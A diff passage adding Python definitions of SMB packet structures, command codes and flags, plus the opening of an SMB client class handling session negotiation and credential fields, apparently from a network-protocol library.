+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('Pad','B'),
+        ('FileName','u'),
+    )
+
+############# SMB_COM_OPEN_ANDX (0xD2)
+class SMBOpenAndX_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('Flags','<H=0'),
+        ('DesiredAccess','<H=0'),
+        ('SearchAttributes','<H=0'),
+        ('FileAttributes','<H=0'),
+        ('CreationTime','<L=0'),
+        ('OpenMode','<H=1'),        # SMB_O_OPEN = 1
+        ('AllocationSize','<L=0'),
+        ('Reserved','8s=""'),
+    )
+
+class SMBOpenAndX_Data(SMBNtCreateAndX_Data):
+    pass
+
+class SMBOpenAndXResponse_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('Fid','<H=0'),
+        ('FileAttributes','<H=0'),
+        ('LastWriten','<L=0'),
+        ('FileSize','<L=0'),
+        ('GrantedAccess','<H=0'),
+        ('FileType','<H=0'),
+        ('IPCState','<H=0'),
+        ('Action','<H=0'),
+        ('ServerFid','<L=0'),
+        ('_reserved','<H=0'),
+    )
+
+############# SMB_COM_WRITE (0x0B)
+class SMBWrite_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('Fid','<H'),
+        ('Count','<H'),
+        ('Offset','<L'),
+        ('Remaining','<H'),
+    )
+
+class SMBWriteResponse_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('Count','<H'),
+    )
+
+class SMBWrite_Data(Structure):
+    structure = (
+        ('BufferFormat','<B=1'),
+        ('DataLength','<H-Data'),
+        ('Data',':'),
+    )
+
+
+############# SMB_COM_WRITE_ANDX (0x2F)
+class SMBWriteAndX_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('Fid','<H=0'),
+        ('Offset','<L=0'),
+        ('_reserved','<L=0xff'),
+        ('WriteMode','<H=8'),
+        ('Remaining','<H=0'),
+        ('DataLength_Hi','<H=0'),
+        ('DataLength','<H=0'),
+        ('DataOffset','<H=0'),
+        ('HighOffset','<L=0'),
+    )
+
+class SMBWriteAndX_Data_Short(Structure):
+     structure = (
+         ('_PadLen','_-Pad','self["DataOffset"] - 59'),
+         ('Pad',':'),
+         #('Pad','<B=0'),
+         ('DataLength','_-Data','self["DataLength"]'),
+         ('Data',':'),
+     )
+
+class SMBWriteAndX_Data(Structure):
+     structure = (
+         ('_PadLen','_-Pad','self["DataOffset"] - 63'),
+         ('Pad',':'),
+         #('Pad','<B=0'),
+         ('DataLength','_-Data','self["DataLength"]'),
+         ('Data',':'),
+     )
+
+
+class SMBWriteAndX_Parameters_Short(SMBAndXCommand_Parameters):
+    structure = (
+        ('Fid','<H'),
+        ('Offset','<L'),
+        ('_reserved','<L=0xff'),
+        ('WriteMode','<H=8'),
+        ('Remaining','<H'),
+        ('DataLength_Hi','<H=0'),
+        ('DataLength','<H'),
+        ('DataOffset','<H=0'),
+    )
+
+class SMBWriteAndXResponse_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('Count','<H'),
+        ('Available','<H'),
+        ('Reserved','<L=0'),
+    )
+
+############# SMB_COM_WRITE_RAW (0x1D)
+class SMBWriteRaw_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('Fid','<H'),
+        ('Count','<H'),
+        ('_reserved','<H=0'),
+        ('Offset','<L'),
+        ('Timeout','<L=0'),
+        ('WriteMode','<H=0'),
+        ('_reserved2','<L=0'),
+        ('DataLength','<H'),
+        ('DataOffset','<H=0'),
+    )
+
+############# SMB_COM_READ (0x0A)
+class SMBRead_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('Fid','<H'),
+        ('Count','<H'),
+        ('Offset','<L'),
+        ('Remaining','<H=Count'),
+    )
+
+class SMBReadResponse_Parameters(Structure):
+    structure = (
+        ('Count','<H=0'),
+        ('_reserved','8s=""'),
+    )
+
+class SMBReadResponse_Data(Structure):
+    structure = (
+        ('BufferFormat','<B=0x1'),
+        ('DataLength','<H-Data'),
+        ('Data',':'),
+    )
+
+############# SMB_COM_READ_RAW (0x1A)
+class SMBReadRaw_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('Fid','<H'),
+        ('Offset','<L'),
+        ('MaxCount','<H'),
+        ('MinCount','<H=MaxCount'),
+        ('Timeout','<L=0'),
+        ('_reserved','<H=0'),
+    )
+
+############# SMB_COM_NT_TRANSACT  (0xA0)
+class SMBNTTransaction_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('MaxSetupCount','<B=0'),
+        ('Reserved1','<H=0'),
+        ('TotalParameterCount','<L'),
+        ('TotalDataCount','<L'),
+        ('MaxParameterCount','<L=1024'),
+        ('MaxDataCount','<L=65504'),
+        ('ParameterCount','<L'),
+        ('ParameterOffset','<L'),
+        ('DataCount','<L'),
+        ('DataOffset','<L'),
+        ('SetupCount','<B=len(Setup)//2'),
+        ('Function','<H=0'),
+        ('SetupLength','_-Setup','SetupCount*2'),
+        ('Setup',':'),
+    )
+
+class SMBNTTransactionResponse_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('Reserved1','3s=""'),
+        ('TotalParameterCount','<L'),
+        ('TotalDataCount','<L'),
+        ('ParameterCount','<L'),
+        ('ParameterOffset','<L'),
+        ('ParameterDisplacement','<L=0'),
+        ('DataCount','<L'),
+        ('DataOffset','<L'),
+        ('DataDisplacement','<L=0'),
+        ('SetupCount','<B=0'),
+        ('SetupLength','_-Setup','SetupCount*2'),
+        ('Setup',':'),
+    )
+
+class SMBNTTransaction_Data(Structure):
+    structure = (
+        ('Pad1Length','_-Pad1','self["Pad1Length"]'),
+        ('Pad1',':'),
+        ('NT_Trans_ParametersLength','_-NT_Trans_Parameters','self["NT_Trans_ParametersLength"]'),
+        ('NT_Trans_Parameters',':'),
+        ('Pad2Length','_-Pad2','self["Pad2Length"]'),
+        ('Pad2',':'),
+        ('NT_Trans_DataLength','_-NT_Trans_Data','self["NT_Trans_DataLength"]'),
+        ('NT_Trans_Data',':'),
+    )
+
+class SMBNTTransactionResponse_Data(Structure):
+    structure = (
+        ('Pad1Length','_-Pad1','self["Pad1Length"]'),
+        ('Pad1',':'),
+        ('Trans_ParametersLength','_-Trans_Parameters','self["Trans_ParametersLength"]'),
+        ('Trans_Parameters',':'),
+        ('Pad2Length','_-Pad2','self["Pad2Length"]'),
+        ('Pad2',':'),
+        ('Trans_DataLength','_-Trans_Data','self["Trans_DataLength"]'),
+        ('Trans_Data',':'),
+    )
+
+
+############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
+class SMBTransaction2Secondary_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('TotalParameterCount','<H'),
+        ('TotalDataCount','<H'),
+        ('ParameterCount','<H'),
+        ('ParameterOffset','<H'),
+        ('ParameterDisplacement','<H'),
+        ('DataCount','<H'),
+        ('DataOffset','<H'),
+        ('DataDisplacement','<H=0'),
+        ('FID','<H'),
+    )
+
+class SMBTransaction2Secondary_Data(Structure):
+    structure = (
+        ('Pad1Length','_-Pad1','self["Pad1Length"]'),
+        ('Pad1',':'),
+        ('Trans_ParametersLength','_-Trans_Parameters','self["Trans_ParametersLength"]'),
+        ('Trans_Parameters',':'),
+        ('Pad2Length','_-Pad2','self["Pad2Length"]'),
+        ('Pad2',':'),
+        ('Trans_DataLength','_-Trans_Data','self["Trans_DataLength"]'),
+        ('Trans_Data',':'),
+    )
+
+
+############# SMB_COM_TRANSACTION2 (0x32)
+
+class SMBTransaction2_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('TotalParameterCount','<H'),
+        ('TotalDataCount','<H'),
+        ('MaxParameterCount','<H=1024'),
+        ('MaxDataCount','<H=65504'),
+        ('MaxSetupCount','<B=0'),
+        ('Reserved1','<B=0'),
+        ('Flags','<H=0'),
+        ('Timeout','<L=0'),
+        ('Reserved2','<H=0'),
+        ('ParameterCount','<H'),
+        ('ParameterOffset','<H'),
+        ('DataCount','<H'),
+        ('DataOffset','<H'),
+        ('SetupCount','<B=len(Setup)//2'),
+        ('Reserved3','<B=0'),
+        ('SetupLength','_-Setup','SetupCount*2'),
+        ('Setup',':'),
+    )
+
+class SMBTransaction2Response_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('TotalParameterCount','<H'),
+        ('TotalDataCount','<H'),
+        ('Reserved1','<H=0'),
+        ('ParameterCount','<H'),
+        ('ParameterOffset','<H'),
+        ('ParameterDisplacement','<H=0'),
+        ('DataCount','<H'),
+        ('DataOffset','<H'),
+        ('DataDisplacement','<H=0'),
+        ('SetupCount','<B=0'),
+        ('Reserved2','<B=0'),
+        ('SetupLength','_-Setup','SetupCount*2'),
+        ('Setup',':'),
+    )
+
+class SMBTransaction2_Data(Structure):
+    structure = (
+#        ('NameLength','_-Name','1'),
+#        ('Name',':'),
+        ('Pad1Length','_-Pad1','self["Pad1Length"]'),
+        ('Pad1',':'),
+        ('Trans_ParametersLength','_-Trans_Parameters','self["Trans_ParametersLength"]'),
+        ('Trans_Parameters',':'),
+        ('Pad2Length','_-Pad2','self["Pad2Length"]'),
+        ('Pad2',':'),
+        ('Trans_DataLength','_-Trans_Data','self["Trans_DataLength"]'),
+        ('Trans_Data',':'),
+    )
+
+class SMBTransaction2Response_Data(Structure):
+    structure = (
+        ('Pad1Length','_-Pad1','self["Pad1Length"]'),
+        ('Pad1',':'),
+        ('Trans_ParametersLength','_-Trans_Parameters','self["Trans_ParametersLength"]'),
+        ('Trans_Parameters',':'),
+        ('Pad2Length','_-Pad2','self["Pad2Length"]'),
+        ('Pad2',':'),
+        ('Trans_DataLength','_-Trans_Data','self["Trans_DataLength"]'),
+        ('Trans_Data',':'),
+    )
+
+############# SMB_COM_QUERY_INFORMATION (0x08)
+
+class SMBQueryInformation_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('BufferFormat','B=4'),
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('BufferFormat','B=4'),
+        ('FileName','u'),
+    )
+
+
+class SMBQueryInformationResponse_Parameters(Structure):
+    structure = (
+        ('FileAttributes','<H'),
+        ('LastWriteTime','<L'),
+        ('FileSize','<L'),
+        ('Reserved','"0123456789'),
+    )
+
+############# SMB_COM_TRANSACTION (0x25)
+class SMBTransaction_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('TotalParameterCount','<H'),
+        ('TotalDataCount','<H'),
+        ('MaxParameterCount','<H=1024'),
+        ('MaxDataCount','<H=65504'),
+        ('MaxSetupCount','<B=0'),
+        ('Reserved1','<B=0'),
+        ('Flags','<H=0'),
+        ('Timeout','<L=0'),
+        ('Reserved2','<H=0'),
+        ('ParameterCount','<H'),
+        ('ParameterOffset','<H'),
+        ('DataCount','<H'),
+        ('DataOffset','<H'),
+        ('SetupCount','<B=len(Setup)//2'),
+        ('Reserved3','<B=0'),
+        ('SetupLength','_-Setup','SetupCount*2'),
+        ('Setup',':'),
+    )
+
+class SMBTransactionResponse_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('TotalParameterCount','<H'),
+        ('TotalDataCount','<H'),
+        ('Reserved1','<H=0'),
+        ('ParameterCount','<H'),
+        ('ParameterOffset','<H'),
+        ('ParameterDisplacement','<H=0'),
+        ('DataCount','<H'),
+        ('DataOffset','<H'),
+        ('DataDisplacement','<H=0'),
+        ('SetupCount','<B'),
+        ('Reserved2','<B=0'),
+        ('SetupLength','_-Setup','SetupCount*2'),
+        ('Setup',':'),
+    )
+
+# TODO: We should merge these both. But this will require fixing
+# the instances where this structure is used on the client side
+class SMBTransaction_SData(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('Name','z'),
+        ('Trans_ParametersLength','_-Trans_Parameters'),
+        ('Trans_Parameters',':'),
+        ('Trans_DataLength','_-Trans_Data'),
+        ('Trans_Data',':'),
+    )
+    UnicodeStructure = (
+        ('Pad','B'),
+        ('Name','u'),
+        ('Trans_ParametersLength','_-Trans_Parameters'),
+        ('Trans_Parameters',':'),
+        ('Trans_DataLength','_-Trans_Data'),
+        ('Trans_Data',':'),
+    )
+
+class SMBTransaction_Data(Structure):
+    structure = (
+        ('NameLength','_-Name'),
+        ('Name',':'),
+        ('Trans_ParametersLength','_-Trans_Parameters'),
+        ('Trans_Parameters',':'),
+        ('Trans_DataLength','_-Trans_Data'),
+        ('Trans_Data',':'),
+    )
+
+class SMBTransactionResponse_Data(Structure):
+    structure = (
+        ('Trans_ParametersLength','_-Trans_Parameters'),
+        ('Trans_Parameters',':'),
+        ('Trans_DataLength','_-Trans_Data'),
+        ('Trans_Data',':'),
+    )
+
+############# SMB_COM_READ_ANDX (0x2E)
+class SMBReadAndX_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('Fid','<H'),
+        ('Offset','<L'),
+        ('MaxCount','<H'),
+        ('MinCount','<H=MaxCount'),
+        ('_reserved','<L=0x0'),
+        ('Remaining','<H=MaxCount'),
+        ('HighOffset','<L=0'),
+    )
+
+class SMBReadAndX_Parameters2(SMBAndXCommand_Parameters):
+    structure = (
+        ('Fid','<H'),
+        ('Offset','<L'),
+        ('MaxCount','<H'),
+        ('MinCount','<H=MaxCount'),
+        ('_reserved','<L=0xffffffff'),
+        ('Remaining','<H=MaxCount'),
+    )
+
+class SMBReadAndXResponse_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('Remaining','<H=0'),
+        ('DataMode','<H=0'),
+        ('_reserved','<H=0'),
+        ('DataCount','<H'),
+        ('DataOffset','<H'),
+        ('DataCount_Hi','<L'),
+        ('_reserved2','6s=""'),
+    )
+
+############# SMB_COM_ECHO (0x2B)
+class SMBEcho_Data(Structure):
+    structure = (
+        ('Data',':'),
+    )
+
+class SMBEcho_Parameters(Structure):
+    structure = (
+        ('EchoCount','<H'),
+    )
+
+class SMBEchoResponse_Data(Structure):
+    structure = (
+        ('Data',':'),
+    )
+
+class SMBEchoResponse_Parameters(Structure):
+    structure = (
+        ('SequenceNumber','<H=1'),
+    )
+
+############# SMB_COM_QUERY_INFORMATION_DISK (0x80)
+class SMBQueryInformationDiskResponse_Parameters(Structure):
+    structure = (
+        ('TotalUnits','<H'),
+        ('BlocksPerUnit','<H'),
+        ('BlockSize','<H'),
+        ('FreeUnits','<H'),
+        ('Reserved','<H=0'),
+    )
+
+
+############# SMB_COM_LOGOFF_ANDX (0x74)
+class SMBLogOffAndX(SMBAndXCommand_Parameters):
+    structure = ()
+
+############# SMB_COM_CLOSE (0x04)
+class SMBClose_Parameters(SMBCommand_Parameters):
+   structure = (
+        ('FID','<H'),
+        ('Time','<L=0'),
+   )
+
+############# SMB_COM_FLUSH (0x05)
+class SMBFlush_Parameters(SMBCommand_Parameters):
+   structure = (
+        ('FID','<H'),
+   )
+
+############# SMB_COM_CREATE_DIRECTORY (0x00)
+class SMBCreateDirectory_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('BufferFormat','<B=4'),
+        ('DirectoryName','z'),
+    )
+    UnicodeStructure = (
+        ('BufferFormat','<B=4'),
+        ('DirectoryName','u'),
+    )
+
+############# SMB_COM_DELETE (0x06)
+class SMBDelete_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('BufferFormat','<B=4'),
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('BufferFormat','<B=4'),
+        ('FileName','u'),
+    )
+
+class SMBDelete_Parameters(Structure):
+    structure = (
+        ('SearchAttributes','<H'),
+    )
+
+############# SMB_COM_DELETE_DIRECTORY (0x01)
+class SMBDeleteDirectory_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('BufferFormat','<B=4'),
+        ('DirectoryName','z'),
+    )
+    UnicodeStructure = (
+        ('BufferFormat','<B=4'),
+        ('DirectoryName','u'),
+    )
+
+############# SMB_COM_CHECK_DIRECTORY (0x10)
+class SMBCheckDirectory_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('BufferFormat','<B=4'),
+        ('DirectoryName','z'),
+    )
+    UnicodeStructure = (
+        ('BufferFormat','<B=4'),
+        ('DirectoryName','u'),
+    )
+
+############# SMB_COM_RENAME (0x07)
+class SMBRename_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('SearchAttributes','<H'),
+    )
+
+class SMBRename_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('BufferFormat1','<B=4'),
+        ('OldFileName','z'),
+        ('BufferFormat2','<B=4'),
+        ('NewFileName','z'),
+    )
+    UnicodeStructure = (
+        ('BufferFormat1','<B=4'),
+        ('OldFileName','u'),
+        ('BufferFormat2','<B=4'),
+        ('Pad','B=0'),
+        ('NewFileName','u'),
+    )
+
+
+############# SMB_COM_OPEN (0x02)
+class SMBOpen_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('DesiredAccess','<H=0'),
+        ('SearchAttributes','<H=0'),
+    )
+
+class SMBOpen_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('FileNameFormat','"\x04'),
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('FileNameFormat','"\x04'),
+        ('FileName','u'),
+    )
+
+class SMBOpenResponse_Parameters(SMBCommand_Parameters):
+    structure = (
+        ('Fid','<H=0'),
+        ('FileAttributes','<H=0'),
+        ('LastWriten','<L=0'),
+        ('FileSize','<L=0'),
+        ('GrantedAccess','<H=0'),
+    )
+
+############# EXTENDED SECURITY CLASSES
+class SMBExtended_Security_Parameters(Structure):
+    structure = (
+        ('DialectIndex','<H'),
+        ('SecurityMode','<B'),
+        ('MaxMpxCount','<H'),
+        ('MaxNumberVcs','<H'),
+        ('MaxBufferSize','<L'),
+        ('MaxRawSize','<L'),
+        ('SessionKey','<L'),
+        ('Capabilities','<L'),
+        ('LowDateTime','<L'),
+        ('HighDateTime','<L'),
+        ('ServerTimeZone','<H'),
+        ('ChallengeLength','<B'),
+    )
+
+class SMBExtended_Security_Data(Structure):
+    structure = (
+        ('ServerGUID','16s'),
+        ('SecurityBlob',':'),
+    )
+
+class SMBNTLMDialect_Parameters(Structure):
+    structure = (
+        ('DialectIndex','<H'),
+        ('SecurityMode','<B'),
+        ('MaxMpxCount','<H'),
+        ('MaxNumberVcs','<H'),
+        ('MaxBufferSize','<L'),
+        ('MaxRawSize','<L'),
+        ('SessionKey','<L'),
+        ('Capabilities','<L'),
+        ('LowDateTime','<L'),
+        ('HighDateTime','<L'),
+        ('ServerTimeZone','<H'),
+        ('ChallengeLength','<B'),
+    )
+
+class SMBNTLMDialect_Data(Structure):
+    structure = (
+        ('ChallengeLength','_-Challenge','self["ChallengeLength"]'),
+        ('Challenge',':'),
+        ('Payload',':'),
+# For some reason on an old Linux this field is not present, we have to check this out. There must be a flag stating this.
+        ('DomainName','_'),
+        ('ServerName','_'),
+    )
+    def __init__(self,data = None, alignment = 0):
+         Structure.__init__(self,data,alignment)
+         #self['ChallengeLength']=8
+
+    def fromString(self,data):
+        Structure.fromString(self,data)
+        self['DomainName'] = ''
+        self['ServerName'] = ''
+
+class SMB(object):
+
+    class HostnameValidationException(Exception):
+        pass
+
+    # SMB Command Codes
+    SMB_COM_CREATE_DIRECTORY                = 0x00
+    SMB_COM_DELETE_DIRECTORY                = 0x01
+    SMB_COM_OPEN                            = 0x02
+    SMB_COM_CREATE                          = 0x03
+    SMB_COM_CLOSE                           = 0x04
+    SMB_COM_FLUSH                           = 0x05
+    SMB_COM_DELETE                          = 0x06
+    SMB_COM_RENAME                          = 0x07
+    SMB_COM_QUERY_INFORMATION               = 0x08
+    SMB_COM_SET_INFORMATION                 = 0x09
+    SMB_COM_READ                            = 0x0A
+    SMB_COM_WRITE                           = 0x0B
+    SMB_COM_LOCK_BYTE_RANGE                 = 0x0C
+    SMB_COM_UNLOCK_BYTE_RANGE               = 0x0D
+    SMB_COM_CREATE_TEMPORARY                = 0x0E
+    SMB_COM_CREATE_NEW                      = 0x0F
+    SMB_COM_CHECK_DIRECTORY                 = 0x10
+    SMB_COM_PROCESS_EXIT                    = 0x11
+    SMB_COM_SEEK                            = 0x12
+    SMB_COM_LOCK_AND_READ                   = 0x13
+    SMB_COM_WRITE_AND_UNLOCK                = 0x14
+    SMB_COM_READ_RAW                        = 0x1A
+    SMB_COM_READ_MPX                        = 0x1B
+    SMB_COM_READ_MPX_SECONDARY              = 0x1C
+    SMB_COM_WRITE_RAW                       = 0x1D
+    SMB_COM_WRITE_MPX                       = 0x1E
+    SMB_COM_WRITE_MPX_SECONDARY             = 0x1F
+    SMB_COM_WRITE_COMPLETE                  = 0x20
+    SMB_COM_QUERY_SERVER                    = 0x21
+    SMB_COM_SET_INFORMATION2                = 0x22
+    SMB_COM_QUERY_INFORMATION2              = 0x23
+    SMB_COM_LOCKING_ANDX                    = 0x24
+    SMB_COM_TRANSACTION                     = 0x25
+    SMB_COM_TRANSACTION_SECONDARY           = 0x26
+    SMB_COM_IOCTL                           = 0x27
+    SMB_COM_IOCTL_SECONDARY                 = 0x28
+    SMB_COM_COPY                            = 0x29
+    SMB_COM_MOVE                            = 0x2A
+    SMB_COM_ECHO                            = 0x2B
+    SMB_COM_WRITE_AND_CLOSE                 = 0x2C
+    SMB_COM_OPEN_ANDX                       = 0x2D
+    SMB_COM_READ_ANDX                       = 0x2E
+    SMB_COM_WRITE_ANDX                      = 0x2F
+    SMB_COM_NEW_FILE_SIZE                   = 0x30
+    SMB_COM_CLOSE_AND_TREE_DISC             = 0x31
+    SMB_COM_TRANSACTION2                    = 0x32
+    SMB_COM_TRANSACTION2_SECONDARY          = 0x33
+    SMB_COM_FIND_CLOSE2                     = 0x34
+    SMB_COM_FIND_NOTIFY_CLOSE               = 0x35
+    # Used by Xenix/Unix 0x60 - 0x6E
+    SMB_COM_TREE_CONNECT                    = 0x70
+    SMB_COM_TREE_DISCONNECT                 = 0x71
+    SMB_COM_NEGOTIATE                       = 0x72
+    SMB_COM_SESSION_SETUP_ANDX              = 0x73
+    SMB_COM_LOGOFF_ANDX                     = 0x74
+    SMB_COM_TREE_CONNECT_ANDX               = 0x75
+    SMB_COM_QUERY_INFORMATION_DISK          = 0x80
+    SMB_COM_SEARCH                          = 0x81
+    SMB_COM_FIND                            = 0x82
+    SMB_COM_FIND_UNIQUE                     = 0x83
+    SMB_COM_FIND_CLOSE                      = 0x84
+    SMB_COM_NT_TRANSACT                     = 0xA0
+    SMB_COM_NT_TRANSACT_SECONDARY           = 0xA1
+    SMB_COM_NT_CREATE_ANDX                  = 0xA2
+    SMB_COM_NT_CANCEL                       = 0xA4
+    SMB_COM_NT_RENAME                       = 0xA5
+    SMB_COM_OPEN_PRINT_FILE                 = 0xC0
+    SMB_COM_WRITE_PRINT_FILE                = 0xC1
+    SMB_COM_CLOSE_PRINT_FILE                = 0xC2
+    SMB_COM_GET_PRINT_QUEUE                 = 0xC3
+    SMB_COM_READ_BULK                       = 0xD8
+    SMB_COM_WRITE_BULK                      = 0xD9
+    SMB_COM_WRITE_BULK_DATA                 = 0xDA
+
+    # TRANSACT codes
+    TRANS_TRANSACT_NMPIPE                   = 0x26
+
+    # TRANSACT2 codes
+    TRANS2_FIND_FIRST2                      = 0x0001
+    TRANS2_FIND_NEXT2                       = 0x0002
+    TRANS2_QUERY_FS_INFORMATION             = 0x0003
+    TRANS2_QUERY_PATH_INFORMATION           = 0x0005
+    TRANS2_QUERY_FILE_INFORMATION           = 0x0007
+    TRANS2_SET_FILE_INFORMATION             = 0x0008
+    TRANS2_SET_PATH_INFORMATION             = 0x0006
+
+    # Security Share Mode (Used internally by SMB class)
+    SECURITY_SHARE_MASK                     = 0x01
+    SECURITY_SHARE_SHARE                    = 0x00
+    SECURITY_SHARE_USER                     = 0x01
+    SECURITY_SIGNATURES_ENABLED             = 0X04
+    SECURITY_SIGNATURES_REQUIRED            = 0X08
+
+    # Security Auth Mode (Used internally by SMB class)
+    SECURITY_AUTH_MASK                      = 0x02
+    SECURITY_AUTH_ENCRYPTED                 = 0x02
+    SECURITY_AUTH_PLAINTEXT                 = 0x00
+
+    # Raw Mode Mask (Used internally by SMB class. Good for dialect up to and including LANMAN2.1)
+    RAW_READ_MASK                           = 0x01
+    RAW_WRITE_MASK                          = 0x02
+
+    # Capabilities Mask (Used internally by SMB class. Good for dialect NT LM 0.12)
+    CAP_RAW_MODE                            = 0x00000001
+    CAP_MPX_MODE                            = 0x0002
+    CAP_UNICODE                             = 0x0004
+    CAP_LARGE_FILES                         = 0x0008
+    CAP_EXTENDED_SECURITY                   = 0x80000000
+    CAP_USE_NT_ERRORS                       = 0x40
+    CAP_NT_SMBS                             = 0x10
+    CAP_LARGE_READX                         = 0x00004000
+    CAP_LARGE_WRITEX                        = 0x00008000
+    CAP_RPC_REMOTE_APIS                     = 0x20
+
+    # Flags1 Mask
+    FLAGS1_LOCK_AND_READ_OK                 = 0x01
+    FLAGS1_PATHCASELESS                     = 0x08
+    FLAGS1_CANONICALIZED_PATHS              = 0x10
+    FLAGS1_REPLY                            = 0x80
+
+    # Flags2 Mask
+    FLAGS2_LONG_NAMES                       = 0x0001
+    FLAGS2_EAS                              = 0x0002
+    FLAGS2_SMB_SECURITY_SIGNATURE           = 0x0004
+    FLAGS2_IS_LONG_NAME                     = 0x0040
+    FLAGS2_DFS                              = 0x1000
+    FLAGS2_PAGING_IO                        = 0x2000
+    FLAGS2_NT_STATUS                        = 0x4000
+    FLAGS2_UNICODE                          = 0x8000
+    FLAGS2_COMPRESSED                       = 0x0008
+    FLAGS2_SMB_SECURITY_SIGNATURE_REQUIRED  = 0x0010
+    FLAGS2_EXTENDED_SECURITY                = 0x0800
+
+    # Dialect's Security Mode flags
+    NEGOTIATE_USER_SECURITY                 = 0x01
+    NEGOTIATE_ENCRYPT_PASSWORDS             = 0x02
+    NEGOTIATE_SECURITY_SIGNATURE_ENABLE     = 0x04
+    NEGOTIATE_SECURITY_SIGNATURE_REQUIRED   = 0x08
+
+    # Tree Connect AndX Response optionalSuppor flags
+    SMB_SUPPORT_SEARCH_BITS                 = 0x01
+    SMB_SHARE_IS_IN_DFS                     = 0x02
+
+    def __init__(self, remote_name, remote_host, my_name=None, host_type=nmb.TYPE_SERVER, sess_port=445, timeout=None,
+                 UDP=0, session=None, negPacket=None):
+        # The uid attribute will be set when the client calls the login() method
+        self._uid = 0
+        self.__server_name = ''
+        self.__client_name = ''
+        self.__server_os = ''
+        self.__server_os_major = None
+        self.__server_os_minor = None
+        self.__server_os_build = None
+        self.__server_lanman = ''
+        self.__server_domain = ''
+        self.__server_dns_domain_name = ''
+        self.__server_dns_host_name = ''
+        self.__remote_name = remote_name.upper()
+        self.__remote_host = remote_host
+        self.__isNTLMv2 = True
+        self._dialects_parameters = None
+        self._dialects_data = None
+        self._doKerberos = False
+
+        # Credentials
+        self.__userName = b''
+        self.__password = b''
+        self.__domain   = b''
+        self.__lmhash   = b''
+        self.__nthash   = b''
+        self.__aesKey   = b''
+        self.__kdc      = b''
+        self.__TGT      = None
+        self.__TGS      = None
+
+        # Negotiate Protocol Result, used everywhere
+        # Could be extended or not, flags should be checked before
+        self._dialect_data = 0
+        self._dialect_parameters = 0
+        self._action = 0
+        self._sess = None
+        self.encrypt_passwords = True
+        self.tid = 0
+        self.fid = 0
+
+        # Strict host validation - off by default
+        self._strict_hostname_validation = False
+        self._validation_allow_absent = True
+        self._accepted_hostname = ''
+
+        # Signing stuff
+        self._SignSequenceNumber = 0
+        self._SigningSessionKey = b''
+        self._SigningChallengeResponse = b''
+        self._SignatureEnabled = False
+        self._SignatureVerificationEnabled = False
+        self._SignatureRequired = False
+
+        # Base flags (default flags, can be overridden using set_flags())
+        self.__flags1 = SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS
+        self.__flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
+
+        if timeout is None:
+            self.__timeout = 60
+        else:
+            self.__timeout = timeout
+
+        # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP.
+        # This is to help some old applications still believing
+        # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better
+        # know about *SMBSERVER's limitations
+        if sess_port == 445 and remote_name == '*SMBSERVER':
+           self.__remote_name = remote_host
+
+        # This is on purpose. I'm still not convinced to do a socket.gethostname() if not specified
+        if my_name is None:
+            self.__client_name = b''
+        else:
+            self.__client_name = my_name
+
+        if session is None:
+            if not my_name:
+                # If destination port is 139 yes, there's some client disclosure
+                my_name = socket.gethostname()
+                i = my_name.find('.')
+                if i > -1:
+                    my_name = my_name[:i]
+
+            if UDP:
+                self._sess = nmb.NetBIOSUDPSession(my_name, remote_name, remote_host, host_type, sess_port, self.__timeout)
+            else:
+                self._sess = nmb.NetBIOSTCPSession(my_name, remote_name, remote_host, host_type, sess_port, self.__timeout)
+
+                # Initialize session values (_dialect_data and _dialect_parameters)
+                self.neg_session()
+
+                # Call login() without any authentication information to
+                # setup a session if the remote server
+                # is in share mode.
+                if (self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SHARE_MASK) == SMB.SECURITY_SHARE_SHARE:
+                    self.login('', '')
+        else:
+            self._sess = session
+            self.neg_session(negPacket = negPacket)
+            # Call login() without any authentication information to
+            # setup a session if the remote server
+            # is in share mode.
+            if (self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SHARE_MASK) == SMB.SECURITY_SHARE_SHARE:
+                self.login('', '')
+
+    @staticmethod
+    def ntlm_supported():
+        return False
+
+    def getKerberos(self):
+        return self._doKerberos
+
+    def get_remote_name(self):
+        return self.__remote_name
+
+    def set_remote_name(self, name):
+        self.__remote_name = name
+        return True
+
+    def set_hostname_validation(self, validate, accept_empty, hostname):
+        self._strict_hostname_validation = validate
+        self._validation_allow_absent = accept_empty
+        self._accepted_hostname = hostname
+
+    def get_remote_host(self):
+        return self.__remote_host
+
+    def get_flags(self):
+        return self.__flags1, self.__flags2
+
